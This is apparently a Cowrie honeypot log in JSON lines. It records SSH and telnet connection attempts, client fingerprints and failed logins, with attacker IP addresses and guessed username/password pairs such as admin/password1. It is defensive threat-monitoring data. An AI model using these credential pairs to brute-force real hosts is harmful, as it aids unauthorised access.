{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:05.161541Z","src_ip":"45.78.208.179","session":"871b60051c22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tsuser","password":"tsuser","message":"login attempt [tsuser/tsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:06.137710Z","src_ip":"45.78.208.179","session":"871b60051c22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:07.376809Z","src_ip":"45.78.208.179","session":"871b60051c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.164.18","src_port":53210,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2d9723260ba","protocol":"telnet","message":"New connection: 132.148.164.18:53210 (159.203.135.109:23) [session: b2d9723260ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:08.508584Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54116,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7326a608d7b","protocol":"telnet","message":"New connection: 188.166.220.49:54116 (159.203.135.109:23) [session: e7326a608d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:12.703375Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":55134,"dst_ip":"159.203.135.109","dst_port":23,"session":"0657651e8483","protocol":"telnet","message":"New connection: 188.166.220.49:55134 (159.203.135.109:23) [session: 0657651e8483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:13.466753Z"}
{"eventid":"cowrie.session.closed","duration":32.60503602027893,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:15.189903Z","src_ip":"188.166.220.49","session":"041bc5bc3f6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27434992790222,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:23.903822Z","src_ip":"188.166.220.49","session":"8f463d71aa82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":41602,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6bc436b5a79","protocol":"telnet","message":"New connection: 188.166.220.49:41602 (159.203.135.109:23) [session: e6bc436b5a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:23.960569Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":41736,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba18c22d284a","protocol":"telnet","message":"New connection: 188.166.220.49:41736 (159.203.135.109:23) [session: ba18c22d284a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:24.076883Z"}
{"eventid":"cowrie.session.closed","duration":38.51947855949402,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:28.107328Z","src_ip":"188.166.220.49","session":"70f5959e10a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.543001890182495,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:30.705219Z","src_ip":"188.166.220.49","session":"f8112852be57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46228,"dst_ip":"159.203.135.109","dst_port":22,"session":"d309b6637ef2","protocol":"ssh","message":"New connection: 159.203.92.129:46228 (159.203.135.109:22) [session: d309b6637ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:32.020634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:32.025626Z","src_ip":"159.203.92.129","session":"d309b6637ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:32.031338Z","src_ip":"159.203.92.129","session":"d309b6637ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass.senpai","message":"login attempt [admin/pass.senpai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:32.042164Z","src_ip":"159.203.92.129","session":"d309b6637ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:33.047501Z","src_ip":"159.203.92.129","session":"d309b6637ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":57242,"dst_ip":"159.203.135.109","dst_port":23,"session":"795a0b8ad907","protocol":"telnet","message":"New connection: 188.166.220.49:57242 (159.203.135.109:23) [session: 795a0b8ad907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:34.612966Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":60766,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffe3cfca3855","protocol":"telnet","message":"New connection: 188.166.220.49:60766 (159.203.135.109:23) [session: ffe3cfca3855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:36.889181Z"}
{"eventid":"cowrie.session.closed","duration":33.83085489273071,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:38.938280Z","src_ip":"188.166.220.49","session":"fda953a548db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990789890289307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:39.499266Z","src_ip":"132.148.164.18","session":"b2d9723260ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":27881,"dst_ip":"159.203.135.109","dst_port":22,"session":"81849e5441aa","protocol":"ssh","message":"New connection: 223.197.186.7:27881 (159.203.135.109:22) [session: 81849e5441aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:45.445285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:45.449871Z","src_ip":"223.197.186.7","session":"81849e5441aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:45.665184Z","src_ip":"223.197.186.7","session":"81849e5441aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Changeme_123","message":"login attempt [ubuntu/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:46.561066Z","src_ip":"223.197.186.7","session":"81849e5441aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.86370062828064,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:46.566936Z","src_ip":"188.166.220.49","session":"e7326a608d7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:47.778024Z","src_ip":"223.197.186.7","session":"81849e5441aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.68350911140442,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:48.150183Z","src_ip":"188.166.220.49","session":"0657651e8483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":50156,"dst_ip":"159.203.135.109","dst_port":23,"session":"74dfad79f1d1","protocol":"telnet","message":"New connection: 188.166.220.49:50156 (159.203.135.109:23) [session: 74dfad79f1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:48.761136Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":33424,"dst_ip":"159.203.135.109","dst_port":22,"session":"e923f0fa4d7d","protocol":"ssh","message":"New connection: 103.148.100.146:33424 (159.203.135.109:22) [session: e923f0fa4d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:57.696080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:57.702022Z","src_ip":"103.148.100.146","session":"e923f0fa4d7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:57.977552Z","src_ip":"103.148.100.146","session":"e923f0fa4d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.48633885383606,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:58.446775Z","src_ip":"188.166.220.49","session":"e6bc436b5a79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.62118363380432,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:58.697951Z","src_ip":"188.166.220.49","session":"ba18c22d284a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password1","message":"login attempt [admin/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:59.088746Z","src_ip":"103.148.100.146","session":"e923f0fa4d7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":36960,"dst_ip":"159.203.135.109","dst_port":23,"session":"83fa1f0fb13f","protocol":"telnet","message":"New connection: 188.166.220.49:36960 (159.203.135.109:23) [session: 83fa1f0fb13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:13:59.126569Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:00.358842Z","src_ip":"103.148.100.146","session":"e923f0fa4d7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":56462,"dst_ip":"159.203.135.109","dst_port":22,"session":"739156563941","protocol":"ssh","message":"New connection: 45.78.208.179:56462 (159.203.135.109:22) [session: 739156563941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:03.989015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:03.997254Z","src_ip":"45.78.208.179","session":"739156563941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:04.243104Z","src_ip":"45.78.208.179","session":"739156563941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"abc123","message":"login attempt [es/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:05.249698Z","src_ip":"45.78.208.179","session":"739156563941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:06.495728Z","src_ip":"45.78.208.179","session":"739156563941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.006943225860596,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:08.619790Z","src_ip":"188.166.220.49","session":"795a0b8ad907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":51744,"dst_ip":"159.203.135.109","dst_port":23,"session":"5898edf1cb2e","protocol":"telnet","message":"New connection: 188.166.220.49:51744 (159.203.135.109:23) [session: 5898edf1cb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:11.094589Z"}
{"eventid":"cowrie.session.closed","duration":36.21204137802124,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:13.101128Z","src_ip":"188.166.220.49","session":"ffe3cfca3855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59822,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d5c26018b16","protocol":"ssh","message":"New connection: 159.203.92.129:59822 (159.203.135.109:22) [session: 3d5c26018b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:17.318973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:17.323984Z","src_ip":"159.203.92.129","session":"3d5c26018b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:17.330092Z","src_ip":"159.203.92.129","session":"3d5c26018b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass0rd","message":"login attempt [admin/pass0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:17.394130Z","src_ip":"159.203.92.129","session":"3d5c26018b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:18.405625Z","src_ip":"159.203.92.129","session":"3d5c26018b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":35918,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f1deff40d8d","protocol":"telnet","message":"New connection: 188.166.220.49:35918 (159.203.135.109:23) [session: 0f1deff40d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:21.146468Z"}
